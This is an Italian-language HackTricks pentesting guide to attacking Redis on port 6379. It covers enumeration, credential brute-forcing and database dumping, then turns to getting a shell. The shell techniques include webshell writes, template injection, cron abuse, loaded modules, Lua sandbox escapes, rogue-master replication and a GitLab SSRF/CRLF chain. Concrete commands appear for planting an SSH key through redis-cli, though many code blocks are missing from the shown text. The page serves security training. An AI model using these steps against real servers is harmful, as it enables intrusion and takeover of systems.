6379 - Pentesting Redis
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
Da la documentazione: Redis è un data structure store open source (con licenza BSD), in-memory, utilizzato come database, cache e message broker.
Per impostazione predefinita, Redis utilizza un protocollo basato su testo semplice, ma devi tenere a mente che può anche implementare ssl/tls. Scopri come eseguire Redis con ssl/tls qui.
Porta predefinita: 6379
Alcuni strumenti automatizzati che possono aiutare a ottenere informazioni da un'istanza redis:
Redis è un protocollo basato su testo, puoi semplicemente inviare il comando in un socket e i valori restituiti saranno leggibili. Ricorda anche che Redis può funzionare utilizzando ssl/tls (ma questo è molto strano).
In un'istanza Redis regolare puoi semplicemente connetterti usando nc
oppure puoi anche usare redis-cli
:
Il primo comando che potresti provare è info
. Potrebbe restituire un output con informazioni sull'istanza di Redis o qualcosa di simile a quanto segue:
In questo ultimo caso, questo significa che hai bisogno di credenziali valide per accedere all'istanza di Redis.
Per impostazione predefinita Redis può essere accessibile senza credenziali. Tuttavia, può essere configurato per supportare solo password, o nome utente + password.
È possibile impostare una password nel file redis.conf con il parametro requirepass
o temporaneamente fino al riavvio del servizio collegandosi ad esso e eseguendo: config set requirepass p@ss$12E45
.
Inoltre, un nome utente può essere configurato nel parametro masteruser
all'interno del file redis.conf.
Se è configurata solo la password, il nome utente utilizzato è "default". Inoltre, nota che non c'è modo di scoprire esternamente se Redis è stato configurato con solo password o nome utente+password.
In casi come questo avrai bisogno di trovare credenziali valide per interagire con Redis, quindi potresti provare a brute-force su di esso. Nel caso tu abbia trovato credenziali valide, devi autenticare la sessione dopo aver stabilito la connessione con il comando:
Credenziali valide verranno risposte con: +OK
Se il server Redis consente connessioni anonime o se hai ottenuto credenziali valide, puoi avviare il processo di enumerazione per il servizio utilizzando i seguenti comandi:
Altri comandi Redis possono essere trovati qui e qui.
Nota che i comandi Redis di un'istanza possono essere rinominati o rimossi nel file redis.conf. Ad esempio, questa riga rimuoverà il comando FLUSHDB:
Maggiore informazione su come configurare in modo sicuro un servizio Redis qui: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04
Puoi anche monitorare in tempo reale i comandi Redis eseguiti con il comando monitor
o ottenere le 25 query più lente con slowlog get 25
Trova ulteriori informazioni interessanti su più comandi Redis qui: https://lzone.de/cheat-sheet/Redis
All'interno di Redis, i database sono numeri che partono da 0. Puoi scoprire se qualcuno è utilizzato nell'output del comando info
all'interno del blocco "Keyspace":
Oppure puoi semplicemente ottenere tutti i keyspace (database) con:
In quell'esempio vengono utilizzati i database 0 e 1. Il database 0 contiene 4 chiavi e il database 1 ne contiene 1. Per impostazione predefinita, Redis utilizzerà il database 0. Per eseguire il dump, ad esempio, del database 1 è necessario fare:
In caso tu riceva il seguente errore -WRONGTYPE Operation against a key holding the wrong kind of value
mentre esegui GET <KEY>
, è perché la chiave potrebbe essere qualcosa di diverso da una stringa o un intero e richiede un operatore speciale per visualizzarla.
Per conoscere il tipo della chiave, usa il comando TYPE
, esempio qui sotto per chiavi di lista e hash.
Dump del database con npm redis-dump o python redis-utils
Unisciti al HackenProof Discord server per comunicare con hacker esperti e cacciatori di bug bounty!
Approfondimenti sul hacking Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
Notizie di hacking in tempo reale Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
Ultimi annunci Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi stesso!
redis-rogue-server può ottenere automaticamente una shell interattiva o una reverse shell in Redis(<=5.0.5).
Info da qui. Devi conoscere il percorso della cartella del sito web:
Se l'accesso al webshell è eccezionale, puoi svuotare il database dopo il backup e riprovare, ricorda di ripristinare il database.
Come nella sezione precedente, potresti anche sovrascrivere alcuni file di template html che verranno interpretati da un motore di template e ottenere una shell.
Ad esempio, seguendo questo writeup, puoi vedere che l'attaccante ha iniettato una rev shell in un html interpretato dal motore di template nunjucks:
Nota che diversi motori di template memorizzano i template in memoria, quindi anche se li sovrascrivi, il nuovo non verrà eseguito. In questi casi, o lo sviluppatore ha lasciato attivo il ricaricamento automatico o devi fare un DoS sul servizio (e aspettarti che venga riavviato automaticamente).
Esempio da qui
Si prega di notare che il risultato di config get dir
può essere cambiato dopo altri comandi di exploit manuali. Si consiglia di eseguirlo per primo subito dopo il login in Redis. Nell'output di config get dir
potresti trovare la home dell'utente redis (di solito /var/lib/redis o /home/redis/.ssh), e sapendo questo sai dove puoi scrivere il file authenticated_users
per accedere via ssh con l'utente redis. Se conosci la home di un altro utente valido dove hai permessi di scrittura, puoi anche abusarne:
Genera una coppia di chiavi pubbliche-private ssh sul tuo pc: ssh-keygen -t rsa
Scrivi la chiave pubblica in un file : (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
Importa il file in redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
Salva la chiave pubblica nel file authorized_keys sul server redis:
Infine, puoi ssh al server redis con la chiave privata : ssh -i id_rsa redis@10.85.0.52
Questa tecnica è automatizzata qui: https://github.com/Avinash-acid/Redis-Server-Exploit
L'ultimo esempio è per Ubuntu, per Centos, il comando sopra dovrebbe essere: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
Questo metodo può essere utilizzato anche per guadagnare bitcoin :yam
Seguendo le istruzioni da https://github.com/n0b0dyCN/RedisModules-ExecuteCommand puoi compilare un modulo redis per eseguire comandi arbitrari.
Poi hai bisogno di un modo per caricare il modulo compilato.
Carica il modulo caricato a runtime con MODULE LOAD /path/to/mymodule.so
Elenca i moduli caricati per controllare che sia stato caricato correttamente: MODULE LIST
Esegui comandi:
Scarica il modulo ogni volta che vuoi: MODULE UNLOAD mymodule
Qui puoi vedere che Redis utilizza il comando EVAL per eseguire codice Lua sandboxed. Nel post collegato puoi vedere come abusarne usando la funzione dofile, ma apparentemente questo non è più possibile. Comunque, se riesci a bypassare il sandbox Lua potresti eseguire comandi arbitrari sul sistema. Inoltre, dallo stesso post puoi vedere alcune opzioni per causare DoS.
Alcuni CVE per sfuggire da LUA:
Il master redis sincronizza automaticamente tutte le operazioni con il redis slave, il che significa che possiamo considerare la vulnerabilità redis come un redis slave, connesso al master redis che controlliamo noi, quindi possiamo inserire il comando nel nostro redis.
Se puoi inviare una richiesta in chiaro a Redis, puoi comunicare con esso poiché Redis leggerà riga per riga la richiesta e risponderà semplicemente con errori per le righe che non comprende:
Pertanto, se trovi una vuln SSRF in un sito web e puoi controllare alcuni headers (forse con una vuln CRLF) o parametri POST, sarai in grado di inviare comandi arbitrari a Redis.
In Gitlab11.4.7 è stata scoperta una vulnerabilità SSRF e una CRLF. La vulnerabilità SSRF si trovava nella funzionalità di importazione del progetto da URL durante la creazione di un nuovo progetto e consentiva di accedere a IP arbitrari nella forma [0:0:0:0:0:ffff:127.0.0.1] (questo accederà a 127.0.0.1), e la vuln CRLF è stata sfruttata semplicemente aggiungendo caratteri %0D%0A all'URL.
Pertanto, è stato possibile sfruttare queste vulnerabilità per comunicare con l'istanza Redis che gestisce le code di gitlab e abusare di quelle code per ottenere l'esecuzione di codice. Il payload di abuso della coda Redis è:
E la richiesta URL encode abusando di SSRF e CRLF per eseguire un whoami
e inviare l'output tramite nc
è:
Per qualche motivo (come per l'autore di https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ da cui è stata tratta questa informazione) lo sfruttamento ha funzionato con lo schema git
e non con lo schema http
.
Unisciti al server Discord di HackenProof per comunicare con hacker esperti e cacciatori di bug bounty!
Approfondimenti sul hacking Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
Notizie di hacking in tempo reale Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
Ultimi annunci Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme
Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi stesso!
Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)